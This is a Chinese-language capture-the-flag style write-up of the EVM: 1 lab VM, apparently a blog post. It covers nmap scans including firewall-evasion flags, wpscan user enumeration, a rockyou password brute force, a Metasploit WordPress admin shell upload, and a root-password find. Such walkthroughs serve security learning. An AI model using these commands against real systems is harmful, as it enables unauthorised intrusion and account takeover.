Vulhub系列：EVM 1

  • 2019 年 12 月 2 日
  • 筆記

0x00 技術點

  • Nmap埠掃描、目錄發現、漏洞探測
  • Wpscan用戶枚舉、密碼爆破
  • Meterpreter shell
  • 許可權提升

0x01 環境搭建

靶機資訊：

  • Name: EVM: 1
  • Date release: 2 Nov 2019

靶機描述：

This is super friendly box intended for Beginner's This may work better with VirtualBox than VMware

下載ova鏡像文件，vbox導入，設置兩張虛擬網卡，分別為NAT模式和僅主機模式（改為默認網卡配置）

0x02 資訊收集

主機發現

netdiscover -i eth0 #選擇僅主機模式網口  IP            At MAC Address     Count     Len  MAC Vendor / Hostname       ----------------------------------------------------------------------------- 192.168.56.1    0a:00:27:00:00:15      1      60  Unknown vendor 192.168.56.100  08:00:27:30:bc:cb      1      60  PCS Systemtechnik GmbH

Kali機器的IP為 192.168.56.101 ，以上探測到的 192.168.56.100就是EVM了

埠掃描

nmap -sV -p- 192.168.56.101Host is up (0.00023s latency).All 65535 scanned ports on 192.168.56.100 are filtered

所有埠被過濾了，懷疑EVM上設置了埠流量防火牆策略

進行 Evade Firewall/IDS掃描

nmap -sA 192.168.56.100 #ACK掃描nmap -sW 192.168.56.100 #TCP窗口掃描nmap -f 192.168.56.100  #報文分段nmap --spoof-mac Cisco 192.168.56.100 #偽造mac

均宣告失敗，這個確定是初級難度？

排查一遍之後，發現是EVM虛擬機導入的時候新增NAT網卡致使網路設置未生效，嚶嚶嚶

重新導入，重新以上步驟

netdisvover -i eth0  192.168.56.1    0a:00:27:00:00:15      1      60  Unknown vendor192.168.56.100  08:00:27:ca:fe:db      1      60  PCS Systemtechnik GmbH      192.168.56.103  08:00:27:6d:a5:91      3     180  PCS Systemtechnik GmbH

EVM的正確IP為 192.168.56.103 ，以下進行埠掃描

nmap -sV -p- 192.168.56.103  PORT      STATE SERVICE  VERSION22/tcp  open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)53/tcp  open  domain      ISC BIND 9.10.3-P4 (Ubuntu Linux)80/tcp  open  http        Apache httpd 2.4.18 ((Ubuntu))110/tcp open  pop3        Dovecot pop3d139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)143/tcp open  imap        Dovecot imapd445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

目錄遍歷

先使用nmap枚舉一下可發現目錄

nmap --script=http-enum 192.168.56.103  |   /wordpress/: Blog|   /info.php: Possible information file|_  /wordpress/wp-login.php: Wordpress login page.

0x03 漏洞發現

nmap vulners

先使用nmap vuln腳本探測一下

nmap --script=smb-check-vulns.nse -p445 192.168.56.103nmap --script=http-enum 192.168.56.103nmap --script=samba-vuln-cve-2012-1182 -p 139 192.168.56.103

均無效，使用vulners腳本檢測一下是否存在CVE

cd /usr/share/nmap/scripts/git clone https://github.com/vulnersCom/nmap-vulners.gitgit clone https://github.com/scipag/vulscan.gitproxychains git clone https://github.com/scipag/vulscan.gitcd vulscan/utilities/updaterchmod +x updateFiles.sh | ./updateFiles.sh  nmap --script nmap-vulners -sV 192.168.56.103

看起來很多，測試了最新幾個CVE，均無法利用

wpscan

之前目錄遍歷，收集到wordpress路徑，自然而然想到用wpscan探測一番

wpscan --url http://192.168.56.103/wordpress/ -e u -e at -e ap

以上命令的含義為枚舉所有用戶名，安裝主題、插件

發現用戶：c0rrupt3d_brain

wp版本5.2.4，安裝默認主題，未安裝插件

搜索一下wordpress 5.2.4有無漏洞

瀏覽了一下基本上沒有可獲得shell的漏洞

0x04 漏洞利用

以上獲取了wp的用戶名，接下來使用wpscan對其進行密碼爆破，字典當然選擇Kali下最強大的字典rockyou囖

wpscan --url http://192.168.56.103/wordpress/ -U c0rrupt3d_brain -P /usr/share/wordlists/rockyou.txt

成功獲取到c0rrupt3d_brain用戶的密碼：24992499

獲得訪問許可權後，我們可以使用metasploit上集成的wpadminshell_upload上傳shellcode

演示如下

0x05 許可權提升

以上步驟，我們已經獲得了EVM的普通用戶shell，接下來做提權操作，首先提權

  1. 查看關鍵文件
  2. 查看內核版本：uname -r → searchsploit
  3. 查看計劃任務：crontab -l
  4. 查看歷史記錄：cat ~/.bash_history
  5. 查看用戶許可權：sudo -l
  6. 使用提權腳本

先獲取一個標準shell

  • python一句話：python -c "import pty;pty.spawn('/bin/bash')"

查看關鍵文件

好傢夥，一步搞定，root用戶的密碼是：willy26

切換root用戶

到此為止

Tags:

VirMach 便宜 VPS